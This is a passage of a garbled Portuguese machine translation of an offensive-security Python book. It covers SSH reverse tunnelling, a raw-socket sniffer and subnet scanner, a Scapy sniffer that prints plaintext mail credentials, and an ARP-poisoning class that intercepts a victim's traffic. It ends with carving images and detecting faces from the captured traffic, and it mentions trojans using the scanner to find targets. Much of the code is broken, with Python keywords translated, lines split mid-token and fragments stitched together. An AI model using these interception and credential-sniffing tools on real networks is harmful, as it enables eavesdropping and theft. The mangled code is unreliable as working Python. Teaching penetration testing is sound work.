(dos autores) e o servidor em um Mac. Aqui nós iniciamos o servidor:
% python ssh_server.py
[+] Ouvir para conexão ...
Você pode ver que o cliente está conectado com sucesso, momento em
que executamos alguns comandos. Não vemos nada no cliente SSH, mas o
comando que enviamos é executado no cliente, e a saída é enviada para
nosso servidor SSH.
Túnel SSH
Na última seção, construímos uma ferramenta que nos permitiu executar
comandos entrando-os em um cliente SSH em um servidor SSH remoto.
Outra técnica seria o uso de um túnel SSH. Em vez de enviar comandos para
o servidor, um túnel SSH enviaria o tráfego de rede embalado dentro do SSH,
e o servidor SSH desempacotaria e o entregaria.
Imagine que você se encontra na seguinte situação: Você tem acesso
remoto a um servidor SSH em uma rede interna, mas você quer acesso ao
servidor web na mesma rede. Você não pode acessar o servidor web
diretamente. O servidor com SSH instalado tem acesso, mas este servidor SSH
não tem as ferramentas que você deseja utilizar.
30 Capítulo 2
Uma maneira de superar este problema é montar um túnel SSH
avançado. Isto permitiria, por exemplo, executar o comando ssh -L
8008:web:80 justin@sshserver para se conectar ao servidor SSH como o
usuário justin e configurar a porta 8008 em seu sistema local. Qualquer
coisa que você enviar para a porta 8008 irá percorrer o túnel SSH existente
para o servidor SSH, que o entregaria ao servidor web. A Figura 2-1 mostra
isto em ação.
127.0.0.1
Porto 8008
Servidor SSH
Cliente SSH
Servidor Web
Visão simplificada da execução do comando
ssh -L 8008:web:80 justin@sshserver
Rede alvo
Isso é muito legal, mas lembre-se que não há muitos sistemas Windows
rodando um serviço de servidor SSH. Nem tudo está perdido, no entanto.
Podemos configurar uma conexão reversa de túnel SSH. Neste caso, nos
conectamos ao nosso próprio servidor SSH a partir do cliente Windows da
maneira usual. Através dessa conexão SSH, também especificamos uma
porta remota no servidor SSH que é tunelada para o host e porta locais,
como mostrado na Figura 2-2. Poderíamos usar este host local e porta, por
exemplo, para expor a porta 3389 para acessar um sistema interno usando o
Remote Desktop ou para acessar outro sistema que o cliente Windows possa
acessar (como o servidor web em nosso exemplo).
127.0.0.1
Porto 8008
Cliente SSH
Servidor SSH
Servidor Web
Rede alvo
Visão simplificada da execução do comando
ssh justin@sshsherver -R 8008:webserver:80
32 Capítulo 2
Os arquivos de demonstração da Paramiko incluem um arquivo
chamado rforward.py que faz exatamente isso. Ele funciona perfeitamente
como está, por isso não vamos reimprimir esse arquivo neste livro. No
entanto, apontaremos alguns pontos importantes e daremos um exemplo
de como utilizá-lo. Abra rforward.py, pule para main(), e siga em frente:
def main():
opções, servidor, remoto = parse_options() 1
senha = Nenhuma
se opções.readpass:
senha = getpass.getpass('Digite a senha SSH: ')
client = paramiko.SSHClient() 2
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolic
y())
verboso(
Agora encaminhando porto remoto %d para %s:%d ...''.
% (opções.porto, remoto[0], remoto[1])
)
tente:
reverse_forward_tunnel( 3
options.port, remote[0], remote[1], client.get_transport()
)
exceto KeyboardInterrupt:
print('C-c: Encaminhamento de portas
parado.') sys.exit(0)
34 Capítulo 2
3 thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)
thr.setDaemon(Verdadeiro)
thr.start()
verboso(
Conectado! Túnel aberto %r -> %r -> %r''.
% (chan.origin_addr, chan.getpeername(), (host, port))
)
embora Verdadeiro: 1
r, w, x = select.select([sock, chan], [], [])
se meias em r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(dad
os)
se chan in r:
data =
chan.recv(1024) if
len(data) == 0:
break
Ferramentas Básicas de Trabalho em
Rede 35
sock.send(dad
os)
chan.close()
sock.close()
verbose('Túnel fechado de %r' % (chan.origin_addr,))
36 Capítulo 2
Chutando os Pneus
Executaremos rforward.py a partir de nosso sistema Windows e o
configuraremos para ser o intermediário enquanto tunelamos o tráfego de um
servidor web para nosso servidor Kali SSH:
Você pode ver que na máquina Windows, fizemos uma conexão com o
servidor SSH em 192.168.1.203 e abrimos a porta 8081 nesse servidor, que
encaminhará o tráfego para 192.168.1.207 porta 3000. Agora, se
navegarmos para http://127.0.0.1:8081 em nosso servidor Linux, nos
conectamos ao servidor web em 192.168.1.207:3000 através do túnel SSH,
como mostrado na Figura 2-3.
Se você voltar para a máquina Windows, você também pode ver a conexão
sendo feita em Paramiko:
Conectado! Túnel aberto ('127.0.0.1', 54690) -> ('192.168.1.203', 22) -> ('192.168.1.207',
3000)
38 Capítulo 2
3
W R I T ING A S N SE F
ER
40 Capítulo 2
Mas sob esses protocolos de nível superior estão os blocos de construção
que determinam como os pacotes de rede são enviados e recebidos. Você
usará soquetes brutos para acessar informações de rede de nível inferior,
tais como os cabeçalhos do Protocolo de Internet (IP) e do Protocolo de
Mensagem de Controle da Internet (ICMP) brutos. Não descodificaremos
nenhuma informação Ethernet neste capítulo, mas se você pretende realizar
qualquer ataque de baixo nível, como envenenamento ARP, ou está
desenvolvendo ferramentas de avaliação sem fio, você deve se familiarizar
intimamente com os quadros Ethernet e seu uso.
Vamos começar com uma breve introdução de como descobrir hosts ativos
em um segmento de rede.
soquete de
importação
importar os
def main():
# criar soquete bruto, bin to public interface
if os.name == 'nt':
socket_protocol =
socket.IPPROTO_IP else:
socket_protocol = socket.IPPROTO_ICMP
3 se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# ler um pacote
4 print(sniffer.recvfrom(65565))
Escrevendo um Sniffer 37
o driver do cartão de rede para permitir o modo promíscuo. Se você estiver
rodando Windows em uma máquina virtual, provavelmente receberá uma
notificação de que o sistema operacional convidado está habilitando o modo
promíscuo; você, é claro, permitirá isso. Agora estamos prontos para realmente
realizar algum sniffing e, neste caso, estamos
simplesmente imprimindo todo o pacote 4 cru sem decodificação de
pacotes. Isto é apenas para ter certeza de que o núcleo de nosso código de
farejamento está funcionando. Depois de um
pacote único é cheirado, nós testamos novamente para Windows e depois
desativamos o modo promíscuo 5 antes de sair do script.
Chutando os Pneus
Abra um terminal novo ou shell cmd.exe sob Windows e execute o seguinte:
python sniffer.py
ping nostarch.com
Em sua primeira janela, onde você executou seu farejador, você deve
ver uma saída de falsificação que se assemelha muito ao seguinte:
(b'E\x00\x00T\xad\xcc\x00\x00\x80\x01\n\x17h\x14\xd1\x03\xac\x10\x9d\x9
d\x00\
x00g,\rv\x00\x01\xb6L\x1b^\x00\x00\x00\x00\xf1\xde\t\x00\x00\x00\x00\x00
\x10\ x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567', ('104.20.209.3', 0))
Você pode ver que capturamos o pedido inicial do ICMP ping destinado
ao nostarch.com (baseado na aparência do IP para nostarch.com,
104.20.209.3, no final da saída). Se você estiver executando este exemplo
no Linux, você receberá a resposta do nostarch.com.
Cheirar um pacote não é muito útil, então vamos adicionar alguma
funcionalidade para processar mais pacotes e decodificar seu conteúdo.
Decodificação da camada IP
Em sua forma atual, nosso farejador recebe todos os cabeçalhos IP,
juntamente com quaisquer protocolos superiores como TCP, UDP, ou
ICMP. A informação é embalada em formato binário e, como mostrado
anteriormente, é bastante difícil de entender. Vamos trabalhar na
decodificação da parte IP de um pacote para que possamos extrair
informações úteis dele, tais como o tipo de protocolo (TCP, UDP ou ICMP)
e os endereços IP de origem e destino. Isto servirá como uma base para
análise adicional do protocolo mais tarde.
Se examinarmos o aspecto real de um pacote na rede, você deve
38 Capítulo 3
entender como precisamos decodificar os pacotes que chegam. Consulte
a Figura 3-1 para a composição de um cabeçalho IP.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.
Protocolo
Internet
Bit
offset 0–3 4–7 8–15 16–18 19–31
HDR
0 Versão comprim Tipo de serviço Compriment
ento o total
32 Identificação Bandei Compensação
ras
de fragmentos
64 Tempo para Protocolo Cheque de cabeçalho
viver
96 Endereço IP de
origem
128 Endereço IP de destino
160 Opções
Escrevendo um Sniffer 39
prefere; qualquer um deles funcionará bem.
de importação de
tipos * soquete de
importação
estrutura de importação
classe IP(Estrutura):
_campos_ = [
("versão"), c_ubyte, 4), # 4 bit char não
assinado
("ihl", c_ubyte, 4), # 4 bit char não
assinado
("tos"), c_ubyte, 8), # 1 byte char
("len"), c_ushort, 16), # 2 byte não assinado
curto
("id"), c_ushort, 16), # 2 byte não assinado
curto
("offset"), c_ushort, 16), # 2 byte não assinado
curto
("ttl"), c_ubyte, 8), # 1 byte char
("protocol_num c_ubyte, 8), # 1 byte char
",
("soma", c_ushort, 16), # 2 byte não assinado
curto
("src"), c_uint32, 32), # 4 byte não assinado
int
("dst"), c_uint32, 32) # 4 byte não assinado
int
]
def new (cls, socket_buffer=None):
retornar cls.from_buffer_copy(socket_buffer)
Esta classe cria uma estrutura de _campos_ para definir cada parte
do cabeçalho IP. A estrutura utiliza tipos C que são definidos no módulo
de tipos. Por exemplo, o tipo c_ubyte é um char não assinado, o tipo
c_ushort é um short não assinado, e assim por diante. Você pode ver que cada
40 Capítulo 3
campo corresponde ao diagrama de cabeçalho IP na Figura 3-1. Cada
descrição de campo leva três argumentos: o nome do campo (como ihl
ou offset), o tipo de valor que leva (como c_ubyte ou c_ushort), e a
largura em bits para aquele campo (como 4 para ihl e versão). Ser capaz de
especificar a largura em bits é útil porque nos dá a liberdade de especificar
qualquer comprimento que precisamos, não apenas no nível de byte (a
especificação no nível de byte forçaria nossos campos definidos a serem sempre
um múltiplo de 8 bits).
A classe IP herda da classe Estrutura do módulo ctypes, que especifica
que devemos ter uma estrutura _campos_ definida antes de criar qualquer
objeto. Para preencher a estrutura _fields_, a classe Estrutura utiliza o
novo método, que toma a referência da classe como o primeiro argumento.
Ela cria e retorna um objeto da classe, que passa para o método init.
Quando criamos nosso objeto IP, o faremos como normalmente faríamos,
mas por baixo,
Python invoca novo , que preenche a estrutura de dados _campos_
imediatamente antes de o objeto ser criado (quando o método init é
chamado). Desde que você tenha definido a estrutura antes, você pode
simplesmente passar o novo método para o pacote de dados da rede externa,
e os campos devem aparecer magicamente como atributos do seu objeto.
Agora você tem uma idéia de como mapear os tipos de dados C para os
valores do cabeçalho IP. Usar o código C como referência ao traduzir para
objetos Python pode ser útil, porque a conversão para Python puro é sem
problemas. Consulte a documentação dos tipos de dados para obter
detalhes completos sobre como trabalhar com este módulo.
Escrevendo um Sniffer 41
O módulo estrutural
O módulo de estrutura fornece caracteres de formato que você pode usar
para especificar a estrutura dos dados binários. No exemplo a seguir,
definiremos mais uma vez uma classe IP para conter as informações do
cabeçalho. Desta vez, porém, usaremos caracteres de formato para
representar as partes do cabeçalho:
estrutura de
importação
ipaddress import
classe IP:
def init (self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
1 self.ver = cabeçalho[0] >> 4
2 self.ihl = cabeçalho[0] & 0xF
self.tos = header[1]
self.len = header[2]
self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
self.sum = header[7]
self.src =
cabeçalho[8]
self.dst =
cabeçalho[9]
Escrevendo um Sniffer 43
Do primeiro byte de dados de cabeçalho que recebemos, queremos
atribuir à variável ver apenas o nybble de alta ordem (o primeiro nybble no
byte). A maneira típica de obter o nybble de alta ordem de um byte é
deslocar o byte para a direita por quatro lugares, o que equivale a pré-fixar
quatro 0s para a frente do
Isto nos deixa apenas com o primeiro nybble do byte original. O código Python
faz essencialmente o seguinte:
0 1 0 1 0 1 1 0 >> 4
0 0 0 0 0 1 0 1
0 1 0 1 0 1 1 0
E 0 0 0 1 1 1 1
0 0 0 0 0 1 1 0
Você não precisa saber muito sobre manipulação binária para decodificar
um cabeçalho IP, mas você verá certos padrões, como o uso de turnos e
E vezes sem conta à medida que você explorar o código de outros
hackers, então vale a pena entender essas técnicas.
Em casos como este que requerem alguma mudança de bits, a
decodificação de dados binários exige algum esforço. Mas para muitos casos
(como a leitura de mensagens ICMP), é muito simples de configurar: cada
parte da mensagem ICMP é um múltiplo de 8 bits, e os caracteres de
formato fornecidos pelo módulo estrutural são múltiplos de 8 bits, portanto
não há necessidade de dividir um byte em nybbles separados. Na mensagem
ICMP de Resposta Ecológica mostrada na Figura 3-2, você pode ver que cada
parâmetro do cabeçalho ICMP pode ser definido em uma estrutura com uma
das letras for- mat existentes (BBHHH).
0 4 8 12 16 20 24 28 32
Tipo Códig Checksum
o
Identific Número
ador seqüencial
44 Capítulo 3
Dados
opcionais
Figura 3-2: Exemplo de mensagem de Resposta de Eco ICMP
Escrevendo um Sniffer 45
Uma maneira rápida de analisar esta mensagem seria simplesmente
atribuir 1 byte aos dois primeiros atributos e 2 bytes aos três atributos
seguintes:
classe ICMP:
def init (self, buff):
header = struct.unpack('<BBHHH', buff)
self.type = header[0]
self.code = header[1]
self.sum = header[2]
self.id = header[3]
self.seq = header[4]
mypacket = IP(buff)
print(f'{mypacket.src_address} -> {mypacket.dst_address}')
Neste exemplo, você instanciará a classe IP com seus dados do pacote no buff
variável.
Escrevendo o Decodificador IP
Vamos implementar a rotina de decodificação de IP que acabamos de criar em
um arquivo chamado
sniffer_ip_header_decode.py, como mostrado aqui:
importação
ipaddress
importação os
sistema de
estrutura de
importação
de soquetes
de
importação
1 classe IP:
def init (self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
self.ver = header[0] >> 4
self.ihl = cabeçalho[0] & 0xF
46 Capítulo 3
self.tos = header[1]
self.len = header[2]
self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
self.sum = header[7]
self.src =
cabeçalho[8]
self.dst =
cabeçalho[9]
Escrevendo um Sniffer 47
2 # endereços IP legíveis por humanos
self.src_address = ipaddress.ip_address(self.src)
self.dst_address = ipaddress.ip_address(self.dst)
def sniff(anfitrião):
# deve parecer familiar do exemplo anterior
se os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET,
socket.SOCK_RAW, socket_protocolo)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
tente:
enquanto Verdadeiro:
# ler um pacote
3 raw_buffer = sniffer.recvfrom(65535)[0]
# criar um cabeçalho IP a partir dos primeiros 20 bytes
4 ip_header = IP(raw_buffer[0:20])
# imprimir o protocolo detectado e os anfitriões
5 print('Protocol: %s %s -> %s' % (ip_header.protocol,
ip_header.src_address,
ip_header.dst_address))
exceto KeyboardInterrupt:
# se estivermos no Windows, desligue o modo
promíscuo se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL,
socket.RCVALL_OFF) sys.exit()
48 Capítulo 3
host = sys.argv[1]
senão:
host = '192.168.1.203
sniff(anfitrião)
Escrevendo um Sniffer 49
combinar muito bem com a estrutura do cabeçalho. Fazemos algumas
tarefas domésticas para produzir alguma saída legível por humanos que
indique o protocolo em uso e os endereços IP envolvidos na conexão 2.
Com nossa cunhagem recém cunhada
estrutura IP, agora escrevemos a lógica para ler continuamente em pacotes e
analisem suas informações. Lemos no pacote 3 e depois passamos os
primeiros 20 bytes 4 para inicializar nossa estrutura IP. Em seguida,
simplesmente imprimimos a informação que capturamos 5. Vamos
experimentá-la.
Chutando os Pneus
Vamos testar nosso código anterior para ver que tipo de informação
estamos extraindo dos pacotes brutos que estão sendo enviados.
Definitivamente, recomendamos que você faça este teste a partir de sua
máquina Windows, pois você poderá ver TCP, UDP e ICMP, o que lhe
permite fazer alguns testes bem arrumados (abrindo um navegador, por
exemplo). Se você estiver confinado ao Linux, então execute o teste de ping
anterior para vê-lo em ação.
Abra um terminal e digite o seguinte:
python sniffer_ip_header_decode.py
Escrevendo um Sniffer 51
Descodificando o ICMP
Agora que podemos decodificar completamente a camada IP de quaisquer
pacotes cheirados, temos que ser capazes de decodificar as respostas do
ICMP que nosso scanner irá extrair de
envio de datagramas UDP para portos fechados. As mensagens ICMP podem
variar muito em seu conteúdo, mas cada mensagem contém três elementos
que permanecem consis- tenda: o tipo, o código e os campos de checksum.
Os campos de tipo e código dizem ao host receptor que tipo de mensagem
ICMP está chegando, o que então dita como decodificá-la corretamente.
Para o propósito de nosso scanner, estamos procurando um valor de
tipo 3 e um valor de código 3. Isto corresponde à classe Destination
Unreachable das mensagens ICMP, e o valor de código 3 indica que o erro
de porta inalcançável foi causado. Consulte a Figura 3-3 para obter um
diagrama de uma mensagem ICMP de Destination Unreachable (Destino
inatingível).
Como você pode ver, os primeiros 8 bits são o tipo, e os segundos 8 bits
contêm nosso código ICMP. Uma coisa interessante a se notar é que quando
um host envia uma destas mensagens ICMP, ele na verdade inclui o
cabeçalho IP da mensagem orig- inating que gerou a resposta. Também
podemos ver que vamos verificar novamente contra 8 bytes do datagrama
original que foi enviado, a fim de garantir que nosso scanner tenha gerado a
resposta ICMP. Para fazer isso, simplesmente cortamos os últimos 8 bytes do
buffer recebido para puxar a seqüência mágica que nosso scanner envia.
Vamos adicionar mais algum código ao nosso sniffer anterior para
incluir a capacidade de decodificar os pacotes ICMP. Vamos salvar nosso
arquivo anterior como sniffer_with_icmp.py e adicionar o seguinte código:
importação
ipaddress
52 Capítulo 3
importação os
sistema de
estrutura de
importação
de soquetes
de
importação
classe IP:
--snip--
1 classe ICMP:
def init (self, buff):
Escrevendo um Sniffer 53
header = struct.unpack('<BBHHH', buff)
self.type = header[0]
self.code = header[1]
self.sum = header[2]
self.id = header[3]
self.seq = header[4]
def sniff(anfitrião):
--snip--
ip_header =
IP(raw_buffer[0:20]) # se for
ICMP, nós o queremos
2 se ip_header.protocol == "ICMP":
print('Protocol: %s %s -> %s' % (ip_header.protocol,
ip_header.src_address, ip_header.dst_address)
imprimir(f'Versão: {ip_header.ver}')
print(f'Header Length: {ip_header.ihl} TTL: {ip_header.ttl}')
exceto
KeyboardInterrupt:
se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
sys.exit()
54 Capítulo 3
campo ihl do cabeçalho, que indica o número de palavras de 32 bits
(pedaços de 4 bytes) contidas no cabeçalho IP. Assim, ao multiplicar este
campo por 4, sabemos o tamanho do cabeçalho IP e, portanto, quando
começa a próxima camada de rede (ICMP, neste caso).
Se executarmos rapidamente este código com nosso típico teste de
ping, nossa saída deverá agora ser ligeiramente diferente:
Escrevendo um Sniffer 55
Isto indica que as respostas do ping (ICMP Echo) estão sendo
corretamente recebidas e decodificadas. Estamos agora prontos para
implementar a última parte da lógica para enviar os datagramas do UDP e
interpretar seus resultados.
Agora vamos adicionar o uso do módulo ipaddress para que possamos
cobrir uma sub-rede inteira com nossa varredura de descoberta do host. Salve
seu sniffer_with_icmp.py script como scanner.py e adicione o seguinte código:
importação
ipaddress
importação os
sistema de
importação de
importação de
soquetes de
importação
estrutura
tempo de
importação de
roscas de
importação
classe IP:
--snip--
classe ICMP:
--snip--
Scanner de
classe: 3
def init (self, host):
self.host = anfitrião
se os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
56 Capítulo 3
else:
socket_protocol = socket.IPPROTO_ICMP
self.socket = socket.socket(socket.AF_INET,
socket.SOCK_RAW, socket_protocolo)
self.socket.bind((host, 0))
self.socket.setsockopt(socket.IPPROTO_IP,
def sniff(self): 4
hosts_up = set([f'{str(self.host)} *'])
tente:
enquanto Verdadeiro:
# ler um pacote
Escrevendo um Sniffer 57
raw_buffer = self.socket.recvfrom(65535)[0]
# criar um cabeçalho IP a partir dos primeiros 20
bytes ip_header = IP(raw_buffer[0:20])
# Se é ICMP, nós o queremos
se ip_header.protocol == "ICMP":
offset = ip_header.ihl * 4
buf = tampão_bruto[offset:offset + 8]
icmp_header = ICMP(buf)
# verificação para TIPO 3 e CÓDIGO
se icmp_header.code == 3 e icmp_header.type == 3:
se ipaddress.ip_address(ip_header.src_address) em 5
ipaddress.IPv4Network(SUBNET):
print('\nUser interrupted.')
if hosts_up:
print(f'n'nSummary: Hosts up on
{SUBNET}') para host in sorted(hosts_up):
print(f'{host}')
print('')
sys.exit()
Escrevendo um Sniffer 59
O método sniff ❹ fareja a rede, seguindo os mesmos passos do exemplo
anterior, exceto que desta vez mantém um registro de quais hospedeiros
estão no ar. Se detectarmos a mensagem antecipada do ICMP, primeiro
verificamos para fazer
certeza de que a resposta do ICMP está vindo de dentro de nossa sub-rede
O. Em seguida, realizamos nossa verificação final para ter certeza de que a
resposta do ICMP tem nosso fio mágico ⑥. Se todos esses cheques
passarem, imprimimos o endereço IP do host onde a mensagem ICMP teve
origem ❼. Quando terminamos o processo de checagem usando CTRL-C,
lidamos com a interrupção do teclado ❽. Ou seja, desligamos o modo
promíscuo se no Windows e imprimimos um
lista de anfitriões ao vivo.
O bloco principal faz o trabalho de configuração das coisas: cria o objeto
Scanner, dorme apenas alguns segundos, e então, antes de chamar o
método sniff, cria o udp_sender em uma linha separada ❾ para garantir
que não estamos
interferindo com nossa capacidade de farejar respostas. Vamos experimentar.
Chutando os Pneus
Agora vamos pegar nosso scanner e colocá-lo contra a rede local. Você pode
usar Linux ou Windows para isso, pois os resultados serão os mesmos. No
caso dos autores, o endereço IP da máquina local em que estávamos era
192.168.0.187, então ajustamos nosso scanner para atingir 192.168.0.0/24.
Se a saída for muito ruidosa quando você executar seu scanner,
simplesmente comente todas as declarações impressas, exceto a última que
lhe diz o que os anfitriões estão respondendo.
python.exe
scanner.py Host Up:
192.168.0.1
Host Up: 192.168.0.190
Host Up: 192.168.0.192
Host Up: 192.168.0.195
O MÓDULO IPADDRESS
ip_address = "192.168.112.3
se ip_address in Ipv4Network("192.168.112.0/24"):
50 Capítulo 3
imprimir Verdadeiro
Escrevendo um Sniffer 51
Ou você pode criar iteradores simples se quiser enviar pacotes para uma rede inteira:
para ip em
Ipv4Network("192.168.112.1/24"): s
= socket.socket()
s.connect((ip, 25))
# enviar pacotes
de correio
Isto simplificará muito sua vida de programação ao lidar com redes inteiras de
Paravez,
cada uma e évarredura rápida
ideal para nossa como adeque
ferramenta realizamos,
descoberta levou apenas
de anfitriões.
alguns segundos para obter os resultados. Cruzando estes endereços IP
com a tabela DHCP em um roteador doméstico, pudemos verificar se os
resultados eram precisos. Você pode facilmente expandir o que aprendeu
neste capítulo para decodificar pacotes TCP e UDP, assim como para
construir ferramentas adicionais em torno do scanner. Este scanner
também é útil para a estrutura do trojan que começaremos a construir
no Capítulo 7. Isto permitiria que um trojan implantado digitalizasse a
rede local em busca de alvos adicionais.
Agora que você conhece as bases de como as redes funcionam em alto e
baixo nível, vamos explorar uma biblioteca Python muito madura chamada
Scapy.
50 Capítulo 3
Escrevendo um Sniffer 51
4
OMO SE DEVE OU NÃO AO
SC A P Y
sniff(filter=""",iface="any",prn=função,count=N)
def main():
2 sniff(prn=packet_callback, count=1)
56 Capítulo 4
| IN
an=
Nenhu
ma
ns= Nenhum
ar= Nenhum
58 Capítulo 4
2 se 'usuário' em mypacket.lower() ou 'passe' em
mypacket.lower(): impressão(f"[*] Destino:
{packet[IP].dst}")
3 print(f"[*] {str(packet[TCP].payload)}")
def main():
# dispara o farejador
4 sniff(filter='tcp port 110 ou tcp port 25 ou tcp port 143',
prn=packet_callback, store=0)
Chutando os Pneus
Aqui estão alguns exemplos de saída de uma conta de e-mail fictícia à qual os
autores tentaram conectar um cliente de correio:
Você pode ver que nosso cliente de correio está tentando entrar no
servidor em 192.168.1.207 e enviar as credenciais em texto simples através
do fio. Este é um
exemplo realmente simples de como você pode pegar um Scapy sniffing
script e transformá-lo em uma ferramenta útil durante os testes de
penetração. O script funciona para o tráfego de correio porque projetamos
o filtro BPF para focar nas portas relacionadas ao correio. Você pode mudar
esse filtro para monitorar outro tráfego; por exemplo, mudá-lo para a porta
21 do tcp para observar as conexões e credenciais de FTP.
Cheirar seu próprio tráfego pode ser divertido, mas é sempre melhor
cheirar com um amigo; vamos dar uma olhada em como você pode
realizar um ataque de envenenamento ARP para cheirar o tráfego de uma
máquina alvo na mesma rede.
1 def get_mac(targetip):
passe
def run(self):
passe
2 def poison(self):
passe
4 def restore(self):
passe
Como você pode ver, vamos definir uma função de ajuda para obter o
endereço MAC de qualquer máquina 1 e uma classe Arper para
envenenar 2, cheirar 3, e restaurar 4 as configurações da rede. Vamos
preencher cada seção, começando com a função get_mac, que retorna um
endereço MAC para um determinado endereço IP. Nós
precisam dos endereços MAC da vítima e da porta de entrada.
def get_mac(targetip):
1 packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
2 resp, _ = srp(packet, timeout=2, retry=10,
verbose=False) para _, r in resp:
retorno
r[Ether].src retorno
Nenhum
64 Capítulo 4
classe Arper():
1 def init (self, victim, gateway, interface='en0'):
self.victim = vítima
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac =
get_mac(gateway) self.interface
= interface conf.iface = interface
conf.verb = 0
2 self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()
tente:
send(poison_victim)
send(poison_gateway)
4 exceto KeyboardInterrupt:
self.restore() sys.exit()
senão:
tempo.de sono(2)
def restore(self):
print('Restaurando tabelas ARP...')
1 send(ARP(
op=2,
psrc=self.gateway,
hwsrc=self.gatewaymac,
62 Capítulo 4
pdst=self.victim,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
2 send(ARP(
op=2,
psrc=self.victim,
hwsrc=self.victimmac,
pdst=self.gateway,
hwdst='ff:ff:ff:ff:ff:ff:ff'),
count=5)
Chutando os Pneus
Antes de começarmos, precisamos primeiro dizer à máquina anfitriã local que
podemos para os pacotes da ala tanto para o gateway quanto para o
endereço IP alvo. Se você estiver em sua Kali VM, digite o seguinte
comando em seu terminal:
ip src: 192.168.1.254
ip dst: 192.168.1.193
mac dst: 38:f9:d3:63:5c:48
mac src: a4:5e:60:ee:17:5d
ip src: 192.168.1.193
ip dst: 192.168.1.254
mac dst:
20:e5:64:c0:76:d0
mac_src:
a4:5e:60:ee:17:5d
ARP está em a4:5e:60:ee:17:5d diz 192.168.1.193
64 Capítulo 4
......Pacote os pacotes
Restaurando as tabelas
ARP Concluídas.
Agora você pode ver que a pobre vítima tem um cache ARP envenenado,
enquanto que o gateway agora tem o mesmo endereço MAC que o
computador atacante. Você pode ver claramente na entrada acima do
gateway que estamos atacando a partir de 192.168.1.203. Quando o ataque
tiver terminado de capturar pacotes, você deve ver um arquivo arper.pcap no
mesmo diretório que seu script. Você pode, é claro, fazer coisas como forçar
o computador de destino a proxy de todo o seu tráfego através de uma
instância local de Burp ou fazer qualquer outra coisa desagradável. Talvez
você queira se agarrar a esse arquivo pcap para a próxima seção sobre
processamento de pcap - você nunca sabe o que pode encontrar!
Processamento da tampa
Wireshark e outras ferramentas como o Network Miner são ótimas para
explorar interativamente arquivos de captura de pacotes, mas às vezes
você vai querer fatiar e cortar arquivos pcap usando Python e Scapy.
Alguns grandes casos de uso estão gerando casos de teste de fuzzing
baseados no tráfego de rede capturado ou mesmo algo tão simples
quanto reproduzir o tráfego que você já captou anteriormente.
Vamos dar um giro um pouco diferente nisto e tentar esculpir arquivos
de imagem do tráfego HTTP. Com estes arquivos de imagem em mãos,
usaremos o OpenCV (http://www.opencv.org/), ferramenta de
visão por computador, para tentar detectar imagens que contenham rostos
humanos, para que possamos restringir as imagens que possam ser
interessantes. Você pode usar o script de envenenamento ARP anterior
para gerar os arquivos pcap, ou você pode estender o sniffer de
envenenamento ARP para fazer a detecção facial de imagens enquanto o
alvo está navegando.
Este exemplo executará duas tarefas distintas: esculpir imagens fora do
tráfego HTTP e detectar rostos nessas imagens. Para acomodar isto, vamos
criar dois programas para que você possa escolher usá-los separadamente,
dependendo da tarefa em questão. Você também pode usar os programas
em seqüência, como
66 Capítulo 4
com campos acessíveis através de pesquisa de atributos. Um tuple padrão
permite armazenar uma seqüência de valores imutáveis; eles são quase
como listas, exceto que você não pode alterar o valor de um tuple. O tuple
padrão utiliza índices numéricos para acessar seus membros:
1 OUTDIR =
'/root/Desktop/pictures' PCAPS
= '/root/Downloads
3 def get_header(carga
útil): passe
4 def extract_content(Resposta,
content_name='image'): passe
68 Capítulo 4
classe Recapper:
def init (self, fname): passe
5 def
get_responses(self)
: passe
6 def write(self,
content_name): passe
70 Capítulo 4
retornar Nenhum para indicar que o cabeçalho não contém os dados que
queremos extrair 4. Agora vamos escrever uma função para extrair o
conteúdo da resposta:
4 if 'Content-Encoding' em Response.header:
if Response.header['Content-Encoding'] == "gzip":
content = zlib.decompress(Response.payload, zlib.MAX_WBITS |
32) elif Response.header['Content-Encoding'] == "deflate":
conteúdo = zlib.decompress(Resposta.carga útil)
72 Capítulo 4
3 se pacote[TCP].dport == 80 ou pacote[TCP].sport ==
80: payload += bytes(packet[TCP].payload)
exceto IndexError:
4 sys.stdout.write('x')
sys.stdout.flush()
se carga útil:
5 cabeçalho =
get_header(carga útil) se o
cabeçalho for Nenhum:
continuar
6 self.responses.append(Response(header=header,
payload=payload))
importaçã
o cv2
importaçã
o os
74 Capítulo 4
ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN =
'/root/Desktop/training'.
76 Capítulo 4
Usamos a sintaxe de fatias Python 5 para converter de uma forma para
outra. Ou seja, convertemos os dados da recta retornada para coordenadas
reais: (x1, y1, x1+largura, y1+altura) ou (x1, y1, x2, y2). Este é o formato de
entrada do cv2.retângulo
método é esperado.
Este código foi generosamente compartilhado por Chris Fidao em
http://www.fideloper
.com/facial-detection/. Este exemplo fez pequenas modificações no original.
Agora vamos levar tudo isso para dar uma volta dentro de sua Kali VM.
Chutando os Pneus
Se você ainda não instalou as bibliotecas do OpenCV, execute os
seguintes com- mands (novamente, obrigado, Chris Fidao) a partir de um
terminal em seu Kali VM:
Isto deve instalar todos os arquivos necessários para lidar com a detecção
facial nas imagens resultantes. Também precisamos agarrar o arquivo de
